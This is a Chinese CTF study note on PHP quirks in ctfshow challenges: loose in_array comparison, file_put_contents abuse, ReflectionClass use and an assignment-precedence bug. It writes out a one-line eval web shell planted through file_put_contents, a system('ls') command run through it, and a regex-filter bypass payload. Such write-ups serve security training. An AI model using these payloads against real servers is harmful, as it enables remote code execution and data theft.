持续更新php特性知识

in_array函数漏洞

  • 如题:(ctfshow web99)
  • image-20250405202932475
  • 这里rand(1,$i)是在从1$i之间随机选择一个数输出。
  • 关于in_array函数的机制:
    • 格式:bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ),即首位参数为需查询的数值,第二个参数为目标数组,最后一个参数为是否为严格比较
    • 这里没有设置$strict即是否为严格比较的值,默认为FALSE,即非严格比较。如输入2.php,根据 PHP 类型转换规则 ,从字符串转换为数值时,'2.php' 会被转换为 2(因为它以数字开头,遇到非数字字符就停止转换)。然后该数据就会和$allow中的元素做查询,看是否有该元素存在。
    • 所以这里我们就可以利用2.php激活if语句,利用file_put_contents函数()。
    • 这里相当精妙:利用file_put_contents函数来绕过检查并且创造一个1.php文件。并且将$POST方式所传入的content变量所代表的数据代码内容,写入1.php文件。
  • 所以直接采用一句话木马,在1.php传入一个content=<?= @eval(?_REQUEST['a'])?>语句,让1.php可以执行一个$_REQUEST超全局变量接收命令并且将结果输出到前端网页端中。
  • 由于$_REQUEST超全局变量可以接收$_GET$_POST超全局变量,所以可以在导航栏中使用a=system("ls");指令对该服务器进行控制,并且抓取目标文件。

file_put_contents 函数机制利用

  • 基本机制:

  • 语法:int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ),filename即规定要写入数据的文件,data即要写入文件的数据。可以是字符串、数组或数据流。flags可选。规定如何打开/写入文件。可能的值:

    • FILE_USE_INCLUDE_PATH
    • FILE_APPEND
    • LOCK_EX

    context可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

  • 重要规则:如果文件不存在,将创建一个文件,并且打开文件。

类映射利用

  • 如下题:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php

    highlight_file(__FILE__);
    include("ctfshow.php");
    //flag in class ctfshow;
    $ctfshow = new ctfshow();
    $v1=$_GET['v1'];
    $v2=$_GET['v2'];
    $v3=$_GET['v3'];
    $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
    if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
    eval("$v2('ctfshow')$v3");
    }
    }

    }

    ?>
  • 可见这题将相当多的字符串都过滤了,包括我们常用的注释符号:/**/,所以只有另辟蹊径

  • 这里我们采用类映射的方式:
    所谓类映射ReflectionClass,就是把一个类中的所有相关属性和方法全部扫描出来,让我们可以看到其内部结构:

  • DeepSeek对其的通俗解释:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    什么是「类映射」(反射类)?
    它是一面「透视镜」:

    普通情况下,你只能看到盒子的外观(类的公开方法/属性)。

    用反射类就像用X光扫描盒子,能直接看到盒子内部结构:锁的位置(私有属性)、钥匙孔形状(方法参数)等。

    它能「拆解盒子」:

    比如用 ReflectionClass 可以:

    查看盒子里的所有物品(类的属性和方法)。

    强行打开锁(访问私有属性)。

    复制一把钥匙(动态调用私有方法)。

    在CTF中怎么用?
    假设题目中有这样一个类:

    php
    复制
    class ctfshow {
    private $flag = "ctfshow{abc123}"; // 藏在盒子里的flag!
    }
    步骤1:用反射类「透视」
    php
    复制
    $ref = new ReflectionClass('ctfshow'); // 用透视镜扫描盒子
    步骤2:找到「锁的位置」(私有属性)
    php
    复制
    $property = $ref->getProperty('flag'); // 发现flag属性
    $property->setAccessible(true); // 强行撬锁!
    步骤3:拿走flag
    php
    复制
    $obj = $ref->newInstance(); // 把盒子里的东西倒出来
    echo $property->getValue($obj); // 输出:ctfshow{abc123}
    为什么你的Payload能用?
    你给的payload是:

    复制
    v2=echo new ReflectionClass&v3=;
    相当于:

    php
    复制
    echo new ReflectionClass('ctfshow');
    效果:直接输出这个类的内部信息(就像把透视结果打印出来),如果类中有flag,可能直接暴露!


  • 类映射可以比print_r获取类内部更多的属性,如包括私有和共有属性。

  • 这道题我们就通过类映射对类内部进行扫描,并且echo输出。

  • 另外多说一句:
    PHP中运算符优先级规则是:=(赋值)的优先级高于逻辑运算符and
    所以这行代码:

    1
    2
    3
    4
    $v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
    if($v0){
    // 后续代码
    }

    实际等价于:

    1
    ($v0 = is_numeric($v1)) and is_numeric($v2) and is_numeric($v3);

    所以后面的$v2$v3可以不为整数。